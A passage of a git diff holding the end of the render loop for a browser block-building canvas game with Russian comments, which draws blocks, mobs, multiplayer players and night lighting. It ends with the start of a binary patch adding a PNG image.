всё ещё показан - скрываем его + deathEl.style.display='none'; + } + + // render + const night = isNight(); + + // sky + ctx.fillStyle = night ? '#070816' : '#87CEEB'; + ctx.fillRect(0,0,W,H); + + // clouds (parallax x/y) + ctx.save(); + ctx.translate(-camX*0.5, -camY*0.15); + ctx.fillStyle = 'rgba(255,255,255,0.65)'; + for(const c of clouds){ + ctx.fillRect(c.x, c.y, c.w, 26); + ctx.fillRect(c.x+20, c.y-10, c.w*0.6, 22); + } + ctx.restore(); + + // world + ctx.save(); + ctx.translate(-camX, -camY); + + const minGX = Math.floor(camX/TILE)-2; + const maxGX = Math.floor((camX+W)/TILE)+2; + const minGY = Math.floor(camY/TILE)-6; + const maxGY = Math.floor((camY+H)/TILE)+6; + + // draw blocks (по массиву, но фильтруем диапазоном) + for(const b of blocks){ + if(b.dead) continue; + if(b.gx < minGX || b.gx > maxGX || b.gy < minGY || b.gy > maxGY) continue; + + const def = BLOCKS[b.t]; + if(def.alpha){ + ctx.save(); + ctx.globalAlpha = def.alpha; + ctx.drawImage(tex[b.t], b.gx*TILE, b.gy*TILE, TILE, TILE); + ctx.restore(); + } else { + ctx.drawImage(tex[b.t], b.gx*TILE, b.gy*TILE, TILE, TILE); + } + + // TNT мигает, если активирован + if(b.t==='tnt' && b.active && Math.sin(now/60)>0){ + ctx.fillStyle='rgba(255,255,255,0.45)'; + ctx.fillRect(b.gx*TILE, b.gy*TILE, TILE, TILE); + } + + // огонь костра + if(b.t==='campfire'){ + drawFire(b.gx*TILE, b.gy*TILE, now); + } + } + + // mobs + for(const m of mobs){ + if(m.kind==='zombie'){ + ctx.fillStyle = '#2ecc71'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#c0392b'; + ctx.fillRect(m.x+6, m.y+12, 6,6); + ctx.fillRect(m.x+22, m.y+12, 6,6); + } else if(m.kind==='pig'){ + ctx.fillStyle = '#ffb6c1'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+22, m.y+5, 3,3); + ctx.fillStyle = '#ff69b4'; + ctx.fillRect(m.x+28, m.y+12, 6,6); + } else if(m.kind==='chicken'){ + // chicken + ctx.fillStyle = '#ecf0f1'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#f39c12'; + ctx.fillRect(m.x+18, m.y+10, 6,4); + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+8, m.y+6, 3,3); + } else if(m.kind==='creeper'){ + // creeper + ctx.fillStyle = '#4CAF50'; + ctx.fillRect(m.x, m.y, m.w, m.h); + // Глаза + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+8, m.y+8, 4,4); + ctx.fillRect(m.x+22, m.y+8, 4,4); + // Рот + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+12, m.y+20, 10,4); + // Ноги + ctx.fillStyle = '#4CAF50'; + ctx.fillRect(m.x+4, m.y+30, 6,20); + ctx.fillRect(m.x+24, m.y+30, 6,20); + } else if(m.kind==='skeleton'){ + // skeleton - детализированный + // Тело + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(m.x+10, m.y+20, 14, 12); + // Череп + ctx.fillRect(m.x+8, m.y+0, 18, 18); + // Глазницы + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+10, m.y+6, 4,4); + ctx.fillRect(m.x+20, m.y+6, 4,4); + // Нос + ctx.fillRect(m.x+15, m.y+12, 4,2); + // Руки + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(m.x+2, m.y+20, 6,14); + ctx.fillRect(m.x+26, m.y+20, 6,14); + // Ноги + ctx.fillRect(m.x+10, m.y+32, 6, 18); + ctx.fillRect(m.x+18, m.y+32, 6, 18); + } + } + + // boat (рисуем первой, чтобы игрок был внутри неё) + if(boat.active){ + ctx.drawImage(tex['boat'], boat.x - (TILE-boat.w)/2, boat.y - (TILE-boat.h)/2, TILE, TILE); + } + + // other players (multiplayer) + for(const [socketId, p] of otherPlayers){ + if(heroImg.complete){ + ctx.drawImage(heroImg, p.x - (TILE-player.w)/2, p.y - (TILE-player.h)/2, TILE, TILE); + } else { + ctx.fillStyle = p.color; + ctx.fillRect(p.x, p.y, 34, 34); + } + // Имя игрока (мелко над персонажем) + ctx.fillStyle = '#fff'; + ctx.font = '12px system-ui'; + ctx.textAlign = 'center'; + ctx.fillText(p.name, p.x + 17, p.y - 8); + } + + // player + if(heroImg.complete){ + ctx.drawImage(heroImg, player.x - (TILE-player.w)/2, player.y - (TILE-player.h)/2, TILE, TILE); + } else { + ctx.fillStyle='#fff'; + ctx.fillRect(player.x, player.y, player.w, player.h); + } + + // particles + for(const p of parts){ + ctx.fillStyle = p.c; + ctx.fillRect(p.x-2, p.y-2, 4, 4); + } + + // Стрелы скелета + for(const m of mobs){ + if(m.kind==='skeleton' && m.shootCooldown > 0.5){ + // Рисуем стрелу + const arrowX = m.x + m.w/2; + const arrowY = m.y + 15; + const targetX = player.x + player.w/2; + const targetY = player.y + player.h/2; + const angle = Math.atan2(targetY - arrowY, targetX - arrowX); + const speed = 400; + + // Проверяем, попала ли стрела + const dx = targetX - arrowX; + const dy = targetY - arrowY; + const dist = Math.hypot(dx, dy); + + // Рисуем стрелу + ctx.save(); + ctx.translate(arrowX, arrowY); + ctx.rotate(angle); + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(0, -1, 16, 2); + ctx.restore(); + + // Урон игроку если попали + if(dist < 150 && player.invuln <= 0){ + player.hp -= 8; + player.invuln = 0.5; + player.vx += Math.cos(angle) * 300; + player.vy -= 200; + playSound('hit1'); + } + } + } + + // build ghost + if(mode()==='build' && mouse.x!==null && !craftOpen && player.hp>0){ + const wx = mouse.x + camX; + const wy = mouse.y + camY; + const gx = Math.floor(wx/TILE); + const gy = Math.floor(wy/TILE); + ctx.strokeStyle = 'rgba(255,255,255,0.9)'; + ctx.lineWidth = 2; + ctx.strokeRect(gx*TILE, gy*TILE, TILE, TILE); + } + + ctx.restore(); + + // lighting overlay at night + if(night){ + // Рисуем полупрозрачный тёмный оверлей + ctx.save(); + ctx.fillStyle = 'rgba(0,0,0,0.50)'; + ctx.fillRect(0, 0, W, H); + ctx.restore(); + + // Освещение от факелов и костров + ctx.save(); + ctx.globalCompositeOperation = 'lighter'; + + // Функция для рисования света + function drawLight(x, y, radius, intensity) { + const gradient = ctx.createRadialGradient(x, y, 0, x, y, radius); + gradient.addColorStop(0, `rgba(255, 255, 200, ${intensity})`); + gradient.addColorStop(1, `rgba(255, 255, 200, 0)`); + ctx.fillStyle = gradient; + ctx.beginPath(); + ctx.arc(x, y, radius, 0, Math.PI * 2); + ctx.fill(); + } + + // Освещение от факелов (1/3 яркости) + for(const b of blocks){ + if(b.dead) continue; + if(b.gx < minGX || b.gx > maxGX || b.gy < minGY || b.gy > maxGY) continue; + const def = BLOCKS[b.t]; + if(def.lightRadius){ + const wx = b.gx*TILE + TILE/2 - camX; + const wy = b.gy*TILE + TILE/2 - camY; + drawLight(wx, wy, def.lightRadius, 0.33); + } + } + + ctx.restore(); + } + + // UI tick + if(Math.random()<0.25){ + hpEl.textContent = Math.max(0, Math.ceil(player.hp)); + foodEl.textContent = Math.ceil(player.hunger); + document.getElementById('o2').textContent = Math.ceil(player.o2); + sxEl.textContent = Math.floor(player.x/TILE); + syEl.textContent = Math.floor(player.y/TILE); + todEl.textContent = night ? 'Ночь' : 'День'; + worldIdEl.textContent = worldId; + if(isMultiplayer){ + document.getElementById('multiplayerStatus').style.display = 'flex'; + playerCountEl.textContent = otherPlayers.size + 1; // +1 = мы сами + } else { + document.getElementById('multiplayerStatus').style.display = 'none'; + } + } + + // Индикатор сна + if(player.sleeping){ + ctx.fillStyle = 'rgba(0,0,0,0.7)'; + ctx.fillRect(0, 0, W, H); + ctx.fillStyle = '#fff'; + ctx.font = 'bold 32px system-ui'; + ctx.textAlign = 'center'; + ctx.fillText('💤 Спим...', W/2, H/2); + ctx.font = '18px system-ui'; + ctx.fillText('Нажмите на кровать чтобы проснуться', W/2, H/2 + 40); + } + + requestAnimationFrame(loop); + } + + requestAnimationFrame(loop); +})(); diff --git a/imgs/grechka_1.png b/imgs/grechka_1.png new file mode 100644 index 0000000000000000000000000000000000000000..5a9b2298a61f6d1903ae33f1d12a25871d99e886 GIT binary patch literal 52576 zcmeEtWkVD07bwgDqhWLp7~LTuHA+UKBAp`L-7vaqw1BilcT1O~h=9_KbV>+#r~dx; z#r+KT#a^&y=Q$nEIfoc64JCXWY8*5)G<;>a!c#Of0OHRFgo*kFZ)}(u4Gn^(tRSoH zgT5b#Rj{Cweetz@dwa>B&ow5`NkXHlB-I4lTp4tmX6$F^XQrRAX`LC7Pf&=Z2a#e- zmV?9PASDt~8f$%0hl@c$LN^niCBK~wJS(A6E_Rdt)xB4HnEaOVl6$aVc9%4YnV;FgtP9|cF;;)=ThKNC-=fgOZ zzBL>@Xv9S5ctmO#EdTUy@)!bI(|skM()Co><24khfR?Ilpi=fvLsyR>HdDH<(NenH z6wW2ELD6Weg=uMz|6x2%fX($)3Cl8tl-le_{=bLuur$=+lYfVYD9C}1@HFZFAj4s0 zC_dKy@sW!nDBk@CyW>A5wJ1Wwh&rbfVu2Y&g=fu75CG*Y@=5DIqbXnoxH1Qo#*kri zE6Q)XD!_pJiKRut*yw*QhCK(asokoO@PPGVBgfYx5g@Y#6@?$f|6~vgf<|1WvzkDw zN%8XrvC)aU#L^?DnEpw@pD|ehB?auiQlO_mNn!mdSS9M86wYCgA1Gdg{_#TahnGUq zG|Ydz?1aEx4dv$uq`)Y!>DCb_oU|&kw*T2TR){dTbE@bcwG}98tJ8P5oc;m25Wyu* zxOlAoqFmxcp)`zWUnBcVEP5)-ny$gZUxe*sD1?mw&wh@7q-L`OJAIA=w!(MjaQ*;= zw62l<0eVRpQf_d^N!9{4W6}2D`Eynb(|7&naj-3(psybgaI=RmJ*3o7N4*NV=D6r6 zN(2)T<$+6_2zY^L?gpnA>L{%DDdT?v#Rf11vzYmakzt>sA#;I$Bx^kvLg-$YSxy_IQm=NmSY!m-9yut)I-DdiH z`vh9;i$^Bsh{9>VUflMd`mxZ7J0GDv^f821%dTvUk)S|dn<1J1;d~d47&2wi4sBxv zQ_^POyk|q5N}Wvd{X0F5MhxXE6}<9b1QmdkGY|K1y9jZG-+pZa>J-J0?1qSiCP#4qG0jHF_v|2AGLs zwu*Sa0SW;!PL8&*$$nE)czVIBsUXlVox+5u;VXKLjkm{APNAZid%-0QN}KWh`ei0f z)t0KB6(hER7F`N=GkT}V6eXQIrWv`*Cm+Kv+-%Kdt)aWsdv&`m{A3*aZaA#z-|!SY zC380EwJR0T!sG-uTntXYGb1b;a_Tn67rQSi{GLrXCnry;hN&jj)oqVeo$p;M(ZdZGzL(`(C=()GPLqp6+xUa__u-Z| z-VSb`I0-n&(BtJfwBcbUef}`zJymtf_P6o9Vz{Yjm?=xmDe$j@5S4}t^OB3eZ+FSJ|E`3!HRuXIh+pLtf2}%0lqYh`v zOB1d@LKYz`6;D!>^*#=%O%gi?|3uHo#R;JXK~vCXhBUq!$|gVV@cz(~Ge^S|62sFv z1b!XI&8nzPf!-0mCkMqsSwR}3*?eQ62&dnXaI8`L-Fu^TV`*1--k(5#Zadjaof@ho z7!H#oc8M|Tu#l^J`%)Bv_@0gl8%d@>kxbf1KSfCzibQ#0D2zjPp}E0z#QgD!N`T1M zkI;`G`4N=Q*-ZN3>Jh$0IjG9Nq)9CgJ5aM|E?q>46jxP`&=R*>clwY2gy1n2{A87n zI1ngfLePice9xvIC?J0B^Pg|wqBlr1Ob#ze5qFWNwb1vFBP!Ydc`S^C;5n8TGX&5~ z6KkWPa9`A|U-Mt+umnyMJRe}O*HuJg=603xAP%iSx#6GCSilLeOZp&}noYxmASP>| zZ;VFh2>(O1f{osw`r1sTf|iysVv?sFvNot=+>lb+&6E?RjD%{Dvk1AG1+cf@%>;;PH7Cj2h-WU>e2g*kl=UT$( zuiJ6{MBs4P3nDH5%&el*TrFbQgw}<}yQo4o`kVg}^pD4|1C!QIy1?p?(`orhG@H}^ za#oBI?7(y_&cz#30nJ-}^*|wgnMT9ye^3gr1G7h;8l>pHMYB?TIRCs-uJ>1I$}mW< zwNn2}gN)}Vt-LrPVvG>ng25@G>oZVV?!U1AN4GUfFyN#-am=kRnzF_}ZFk9bH99gf z0$(JdOfruNd|mb++39Z%3GXriMFS5pVtD)TP$8EZgXvWF0qr9APg(+nyh5GLge!>} z#-rfU0YukjfOy`2a0qLl0zgWhC5jkjd3xwBDV;b4JIMcRAsm&i5R6^Df(9)pfiKtsSsfS1vSwW@7J{O)BmP-SR)Y;_Nb2Upg>bL zD}pK5wH&FE`Uek$21S8Yaqjx7kx?)#rL$Q_xm5L!rjzMV9MwIWaUHQ`#V!~!UHDKq z#SBCVaEKSc6!MMdm(G@?I}k-x`d4+=e?ow3`Z>=Do+{%w$D8%i5Ky`_~Y0h#=VY+*}yq zPsrDzVY@sCS73+9D~0=A#*$xub?E?ssG5mArNp@a%iltpdy-~5sWFAhZjwe?=SnP zsw4!PyFQCWA6OlMGQ?TAW3q<7m{$K_YDY874M0UdGE^NAhtRG6dmSkw>bjzycrh+i z9D6Xnqi}D4)>`y8f|QV=h)5%M82ScA$D>*~T~WOMMEu$LUre$gM;%%bkG>8@1-TKU z4L-SQG8B_2^RW119_3v*qfY**_nV8%sB(xt1S#}a$dW`h@`4{hbRc6uAlOf|o`l+v z@sHFSe?0413q$z`(30_#0(~e}?vJJ?B>~VtuEMZFr(b$q;>yczJ9Lvru>6Rvd5uHi zYY7P#YCdA@cwOJVhYy`FlI(B5`MfEeeH4X)e*()5v0fZE^1P+DNJZTS8WC7PQV=DZ zA9Z>!XXBs<smlDBNc_ycDKc)TZQyhwX4*3=GjkmaV@=>zN=kR@%VTPbb zJ@y@izvTErP0$lMY}Cy5#H~PT`xF-bnf@EBsLqX-z|>Xb?`&f0wrt zROJrSMD|aplMOGIP4+J0Doe!zSsOM&)tf+OsXno{53vi{|N1$#5~9zUU3kASej`aJ z_^sSCMy8PW>;rEEiGRv}(Oz3S)ZgGcWGOjE`BL&zpbnGi{%%4MKJ)cDFU064%X1Xf zAJ)$EsCXW%)6^DWrF3G3q>BDWg^SJ+?+&|-_Qnx)Uw^~zryS4_qyy^VGzV*myM2iE zsvTuV5FoYE%IvYqnm2t~-^3AM{CLffayhfW`QkvxoL&JyqGN{6A{xv04uPajGE=x; zdqSWRfii|{*vkCSCX1HFu}#*w{_&6ANySvkrs#FQ;A~<~EbBM#ysfo?E~2Ctny4^g z0j2osPzWNu5SIaAk_^?`0Hh2ri%?^>PwK8Nl>a@;tX}I^jD2F!6qzL0aP}W(DG&#W z)nytsK2*4e-(bENTzWEhFpG6!5o>#Gq3g~%%z$3-PNF$lp8P%*&5zwOMTQVE9P=Nb zQ@D3x8x6MOyEg9~Gz$&WWFf;QnzI{B(-`x1(@2x85nUC!IN+OlvyoaBfF36NS~H~+ z^^`UIqi`a2z#%ZnoybnU7a57Ta@9?wHK?DzH{r)PA~F1dG#;Zpy0m>)LWA=0bKQtY z`o{C#r=x{KraCGH*QnS~pa^nlH-1Lm`B0Q}+wNSt;)};-;AZGX(&E^9!1bqOiv(;n zZ}Sm=UTJ{h{Rgz-k-w7JBEF&vHEZIUJv&=m9H}%hxP{-3w|yA#$lcAkbN(H(3`*^e=KyP{*b7lR!*KKQy z@6fiEdjE8j+->*Nu|QH0K!e7!W%5%}T|m=@bQl$N0haxYD7T9wf?T(e`?1#RGGEh6 zgC1N|&RbMVT)G=?Wni_a#PhBC$h=v9Vft~S84DGHrB>j#gv4EkOr+PU0meF*sLT{i z2!Q(MB5P>BPl|QAtqqnZe60Rb{%uIe6l{>`JU^T_uBTx7Ub)#Kr7N7mO!?IKOTcjH zeqQXYWz}f91%mk`3fLSOa(Fs0>^S=;rR!I0;PzU|V0;j$A%P zkv=B`s0I2(ayAkOsiW$E7lwT4{3yi82p9u2^I({oUAcho{q&;$jCJcM1H);|F9hoBH+Gt=Tp36|TbtA6c2H(c3(iK#M8^Qt1dCnR=*xZpc-AK~utV`Pewx~L3 zb8*&EjMedEdeg9vv9@!UAQ5l3i}_Ot1}b46`<0;mfn){buAH!^sg_+CELqOMEObnl zzi4^?v~C+^xOLooJZ)UY&=#;fii@-%PG;dZXb+3!aR>58ps*M%+cN>5hmasv)u{6#kvrw9ze%__QkM=@K-Cp+ z;bQEvZ4yfLT%I@<#f_x0AMV*0^l#<1Wq-+1$T38^{mlE@%Ok=B)ZYYR`H|PZ#jetD z_*x!ByO(+Sn`&g!*eTRRo6TS`5rlG|XaoWKt5KpZ(i9o;JF^{WtsvigPzPn~=F>5Y zNr}Rd!m>g>xt7z8-@06q$|zM40W3jk-ABJ8U*ld#Mz&KJyoyU4$uEtvX#6ERQ`w2RiRMTwi-4f2!U9I1 zRo84jDrdgd!)+OZs}bv;%)gH8VU1=`p7Wf9lm~Sxiruv{%O0g zdHm7|0wh}1PD^VrBs+T-SD^^GKq-chxU*IH=N0%hZXV_)7?0HJf#xc9_{*fr@o+cA zd;H1yLT}mpP`6{kwv-=jZe zC&+TL0V+oeWwEMl!jp?5$Ko^2c$(D7%e@m%w2+cu34^O$<%WP$`Ck>2rn9(Rdv}m| zjz|`+0^N9>OIR2^vd(2|G*2k>9j?t^0_3wK1c(wLE0v=T7#5<-1 z`+}_43m7Z{8{&8Ha99@T_^vmJ!oXawN7mdo{8A?aOJnJrWFTPS3^?2Ra>w{k&Y6;m8%pVyZnCRoqv;Ww+q9^Fd&U4g)3W9sD0G(to(f7zRz%@gaBzx?pZ@CHx zWhZv;jg!z$HBj3b_EguMopD!TBbDY#&J2zbz?;g>0ZwB-< z8Ob}JpQ>|-c*?N1t?cB-cRSWEdXwz&uCHdifHHXuiuok09{U#1m@wz~(%)F@;0TY- zyQXQ&c0D*T)2Ab_oCsk%9i;kLe3GGm+DZ2Ym!-$^zB$Mi=V+#|_^8_|hUJs{owx;&fY1p=`*HorivLdG@g4mC{F$ zs%hl<@h<@TAW1E{F-{<+3N8*$gokSFHTYa{M~9upO!*P=q=-bXFRsTPd$&iy@A5WW@Y6iKa6M=|ESj8pQe0I(F!N(HS;OfMZ%vj{B_j0*{tMq5vAq2Q!VVWh{Me zsegI&*7aqviuo;G6rYn!3F$ZsF$5;3z{1GvYB5_@1~uW;wq`P@Z$#Ml;Od3x&XfTzMOZP*ygPlO#ci{J zLeuBQCtG$#rTw$%rfVA>HV<+0_jo@r?-4J@?G?pVXZt7sa%A}ygPtj(3CZ0rP!G@U zd1@hR2w{YgwKY~@6luqsGFXr3R0M|}r!G1KobW`|x^9fT!r#=`vDXSBPGxV!=c6%S zvS2RbwL}nwCQql-*MvZAnW?OeSH#mVl^2XoAFJl6p6*1cT%Hel1C(?9JtnSmR<+uv z1u{Y8fePnMWoB-9#$Lhk5*8o1hS`mBKL>_g)M)E>8snDw-=Q0|VSIWtVV&6e@mI9` zZn&jC)w$a{wo_4yP=VlIR#D%go4U$JWN+d5ceu)A0&l-2ZNl31`3#>X5jpd$N;nD# zC)$=}Ii;ZbsxR-EOn2WW$EV0-P?^f97Iq#8KFNWPs-qIi$GqAq)&)pr+Q)#Y6P;E~! zw-~7-Rjf&0s8_JmxtyVTh{bHBdI}GIiCni#jst)32*Wz z?SOvXezw=^U_S4_hD_fto!;4P^xZGU18VQ$ercG|NiytaB>hefJ?p+q<(hZt5tas6 zW=rATiA@Vjpog0)urP%@Va&_*xjNNsf0=xno(K*hoo}a``$){( zLvj;|cZR+xd}_0=YDu@_3ZQ;acHVFL@n`b|6Y}4P&gglbIDoSFz{(=I?MgE36E3>4 zRIEH0m6L=#6aTTv&i=C#D^j@48mU)Bvcbk=gOdB|E< z@65Hp0&n(M-sMmr#ddvmUa~JHPd+gXo8p-mlvR>d^4bH@{>aFXq^C+M#s z%BpZ{%zpO#*-atlWdwb_=D1piL#EJb@tdemqQ*u(nG;6SYe>l#6T9wo=QuWYsMltL z;=Iv$NY#_&L*da`vk$e9Z{8L{eW7rusW!4jT??ra zsT}uh$caVSAM?hYy*D2x515B$IoCdLULMgJM7afHUpH&lg!v}COb8m3`;lQOe+oCh z)m~!zQ7q_yb5bO+m9KX^bi63Y?a1xw+catV9(te6I~JesZg7u@sMMsz0L;CmC6{4* zc+e>6b}1^u`mWRs5LCT%)*=ON#ru>*ALLM7*}T2yse~CBvHHXNo@trE;Tq)l$nG_UDdkK10!=HN{VTCRnt1 zU75Pw?y89`dxxvxmC^V#FK^z;+`o|#<-IAbWn|@G;q5IrSCwg3YH}!{5>e(H=Inhb zR&RGK9kK1&`&C(w>vwW}OAoK2io^~dkMA99?WQ<9F9w6Xo372Fj!s0ol50>glH)Gq zyzfc1TmriP_X)v{74OdX;_e%?xor73ZJts3r59PAX*Zl{p2&+Mp~(m>q`WlA$C7!# z5Mhm}yfy6lkFe!EsZu2M(jmje~j1Qiu-WamN zo~3H}rKQnEm6h)aR}giY!g1i_6D>YV$KEFttzKSuht3y^-z>j3IW&#&3V-yneHPvY z{ia~%&9W=KioSl3>*`(3TuJUXLqQWh#-zXZWkj$;_7Fbq7uJ_jopRN%I^^!R7q(X% zX<+qTZ)7yjoUGSc(nZP5hEaMT%yY}(w(bT2CHUc-t)IF=?nIfWO7zS`B|J`XgKmf9L#B)075BQ1{*aJY|Jpb9tht&B!Lo zZirWWg{svjALI&u^6Ncq@ZyvF;w0AG-qaU;)e?S01K+g1)OcU%qX=8BLz;2s*FL%8?=&Ogc)@{Ti_*?-EUhL!QAL5gzFDnuHR`v6 z%iR(jXF^^$MS8kCbimnb>{5x|iogfbxQL7k*l~Z@eE4rhRKqetF|j;7?As_28F*75Afl+r_;o_Z#yj zo?ct$Ugs<8yn+blWL0%Ph-s?(xyz4xv)6EGmWRZ!ABW^=lTIz=zv2~l(uR1w zHIO-DZ?8GMtr2HjUBBvBhAmU&XqQ4!ogNO3Aoqm2Nh+tbPpj^=-vCO%{5~S3Mf?ERLL3WXEC0KMdFo@Sg2i6sqbG1o_K# zn^R|4uo$(Bi$IW8Z2JWD(|z@>=%mBQqRk3;Xf(&LsA?+4r^6=(y_lDLU|xf%o1$F! zIW2}V4cgk{o&l$)^x`?Gz~tGu?+5gq${X-g`0Xvu7o7^^HNNWM1EnqwYU#n^NWB^4 z>`87Beap;Tm&F+aM0uHO@<{IYe5d#IaTsb~%uqkIE+TMboze;8q)mulYFxruV}478E3fb%<{$X3obLVlF|@p#0(pl44G+dS~uo=#F52j+TF!FG9aZ_ z2-AT-)hT{rfDuffuOPGT)@gNM)B){}0jfF?O8XH! z-Zy*wmW@Igju=y8E<5xV6}jI&kid#WA?h?uq{{Tg-#*()lqBKqCBi6+qsZCh;`^>a z;S!{Mho2SuE4>X);fK-0*vve>;}3}>=%4ZbN>5f{k~2F|nU_p#z4(#8k(VT7u*VD@ z2!Go&*yv2GNT()j%ZyM!RRCG7DdAeJIn7tB&o}t$YthpMGUb*5iwuuw4Lsp!6}nJ5 zXsFU?<7gD0gHRn?lxd)dMaJ6Na}hWNcTD0%IlK=}uN;(7)z8{r9iPH3m{9Lw&Y<^p z9!WlkmCqrz_}N3#O_(+gm@4-1=c8zr@?>ZP)T=nkjGKmt^3kN*fY{PCe>D3cSr?v? z#p7L<(XuzDk#(TOC1_f1#iMBBa+n)vt;964zf=WoGl*A5JF-3fS#gB+*fSh||ExMx z(7Ar@^AZ0QnX5bTlz>`jQ(K%8hVv1VtIlO1?q3??DNN#j?p0kv= zHEY;PGF*`dYF__cz-iV%_Z8-nwZ(vNCQh4S%Pod=;ZFbn8V*f0X;q+F##HlL-Pbh$ zzu)YknyQDmiGv3gaU4EM%KQZr{v;kwvuMmwj}oW*h>!e}-TKw94n95Iaj^NoG6qb> zU{f{wQ09E$YFaVcIAp3isf6`j9OLHkPQZ>DJG;rnqaI#e&cXL|?g-0DNuF&7;(mcZ z@SnC@NY`T0x2?BB&wie$x@|?@ zxmn?~MuXj8CewTQWWS@A*(f}tI*8Xv4(5V_jahG<##5EOe#6IS4l*$c8?JwE# z8rLwP28d&1R)~+b_>y>j+~<_+JfS7-o_n}4D?vNtL1!@w*NoQH#X}|*$3%&!_F705 zq)Q;UeoN{$)KU62@AkVA1sSHJu2d*p*Ma+!NV(!t%yM_HjBve;o~a;uiCd z9IOt|4dxE;-P6n@ovEb9`_f@VX@w?u;L5CR;v>H>W%Qn)e%F8-RFEm> zKn9DQ%_bY|Uci#oM7+kKdr)EMEhc@u;VbSweV-xjkYP!Xog&l=^ip!_@vXU$6mOYw`B4jC& zqG4!*XfOJb>eNQ5#7qE-gg6qWfve+WSVtDwUkFFC*9k_m-_PlX+b{d-dzA+5xczBy z1BlF$1j$CabE;%JLFs5ACB!gtgEH*r%1t zI)`aQ%v2~j9*a{+n2)})$-Wliao;Tzx8{-ME$2qH5h1Cd$w$qYH^w^@f-z`8>5kx&x$A660j(9~(cK@@*J>AX0^j0mmg)$3b^zn4b2mK`? zPrs4aM_w|9Q(Gd2(KYe{ZP-P3iR%w!fKmi1dyuNH<+`*qbA**|3c0R^#5073a+SDQ z%xyT*{?3aK2zy4gOj1w!uO=aCj3Cu3(x6s0HKc` zY-axA-q|i-gGI@=aQ)j4mAuU_AyOuGZ-7G`3bj1a@13*{Jouw$VGXT&-I9Y=ZLd8=7NQ|>w7;5 zxib-V`4|3KUh-h?UQUJJ_sM(FL@QTaTm{>5)-c(F+)8s=JKW)wxz!8{d`Vv?g0?ub z0c_SJ7h~DKv!<>G0BD3^fnlL(=zyPOAqb-KE;f9Ord9*MTvHKl9Q}MZk++FF#7iL< zFAY~YA0$PqlJolQqd~=Dw)px{8iJZpeI>J`)o+;AUNEDWUo34VSze0VOLpxy1+vC-v z5rbRR0czuFeZr|H%-l|Le1BINfFUpragSbqQnvPSfpKjb74w|old;?aL5drubGpf3 z7!8=XtHV6*mFUZKV5ACKF>hZ-SxRLeN{i&u=zjcZIr`upC9+LK-)=)e`k00;g>;z6O z%Spw7R_Naupyc})Aa5&fXdLbTA$9ykY!|E~E>->wOx)s1ZAZ_>*gV3r=@{`bgGy?e z64|AyY2zMUz#2Opq4{Uv1HuYv0C@?VYwWNUzE%WQgPt4t$Y;O{*hb>EU*Sc$awy2y zX3P%}uNau%7EZ{D&unq*%oi@0X01DZ2+DGSXjo?o?1{`j(>UWnfYlxw|#}Yxfz_jYB4REWI}}@|l0HLXFCMkyT;H+iPS!if!9YD2Hu( zw=?Rg7*77kDHe^jg2*tsuE>cNT?5Bl_n2d{xDX3Q7<%)awz9bn)X3bO$W+H>xP^G1 zA&=P*j+gwOv+;rhAD$ZrNlgX58e%wGkAkqIi(U;g3n+&QtD&VDL@TqCmew!<>SsUS zc$1z7?5t{4G7j0lR=RSc?O4fIm`vdcJig-MNMPj0UD}c*45xpvNb!hrHx5Jq@T85( z?!{8C8?}wv8jYFrZgzGaId1(sTGI+eqwxQT@8>oAaQUq*G#J>8E1-hwe2mmxCM#B? z4zNSGmBx+=w?%Tg>ya{RPm@SX6GW#+oa;PUIDdZxnSI9*;7lgd zdbLjwf5Povp zy6V@sI8U)y_w4kH5}5dCH6KRLwedEo?t3Hw|IB2_>vm@97^36Et`S2=A)H=(OrM|! z{)C3SIdZ723j8#N^bq*>VN;&usZpA&rjk^cW>vm0#fyqhW&Sa81tjl{35+oUac+px z=Ev@Y((FNgFWmCl)XXn1>+HY!SvY<(|Bh+C2pflFfIi8*QEey z*V^5UfSuuj*yYM-b=uJ((ib?~4nX*Zo_C8d-s8gq)*!6)Tf7|)_LybZ4v1a3P*iqk zpWsj-wX1jl%`Z&7vYqkxg5qqe%HE+aA+6Z3xnRNSHpr^jab~}MO!|(e?x=tkWVU!j zCJLgXkw+|clob}!oSDp{c5EC2raVO7L#sLe4B4Mus0El9^(f)ytKPm@%T1MHg(?56 z?u-)pnWWk``F*=>J!658M7Es6qI{{2P5)rw5$`tYO^GUyo)a|(H#lZEvK`GCwz~LA zVG1S_eZNTf>W@{x6+|?LF(@j>_j7%?%rHf!3SK&B3|2N%M72>eU#nz?=2kPuON6+* zz^d@wN%Ks^b=d&(LxViNXh%_5qhF$Tjiv1II}XCft#L1rvPGz-i37O=1=5A z&CW+ERAr3HUmlqS?ZSIth{jp1R{vhO1G0zI8S$0ToJ9U76N0l3D&_WGmFvLKXg+C1 z%4@zhE_2YL&}b<_RWNzy;JLHwSX1)3C#2+_Qb3II!O>t6|I7*2X1P$c_3`;h#*c*V zYcL}bDPaG`_(}iG_J9EKg^Mt2xS3Nl)CaZX1Ft0E#HK_)iIhUH#sGiXz@JC^;|Q=? zLlr9BSp4h^!uehxrNEMj>+5~^U}@gn(TiI#-YAPJpL}XPYwk8r<=f`20&^bRg_KT5qf9)3!D^ZTqH3-DKtmTeY4P*b+qc6rgkX|ysIGO zfK61f4txaE>Z@wMGPuuq8D%NICPeT_z)7!koIA2I%q>gnY54U@mL%`oDD#;@k+-A= zeVTFWtvX=nO_GkZ*Iq3NH@^gk&HY?yhnc_9ndwEA*a!GI`DpEEA*!K9TB#ZiqXY$P zwzRhdraOwbPV3`m)=#*BD4S45R@N2?NZdHZOF4U;Sj` zD8g_6r}=B5=D8O~x|2$%4(n}gX|3wCqk)J=zH{#hi%k}}JW>QH@h0SiAAj@2IMkjE z_7-M4#{AyGFMIHbR^`N?{U~7-22*`W^6}>$QSjaeSAlI}$_Y{XP|L(FFK1lX)qr^m zehg7GAOvfcye;UuK%0d3!CA(zxW{iD_rg7CBFJ=EVL+5hIBbL{S_0dH8^I&5M64@^ zAQ$usb6cQMo)VZ0EZ{EVlQmxL8O$j(ETk!%FH}WMH0!}j*qa1Y9!i^cd0MS+Pfbci 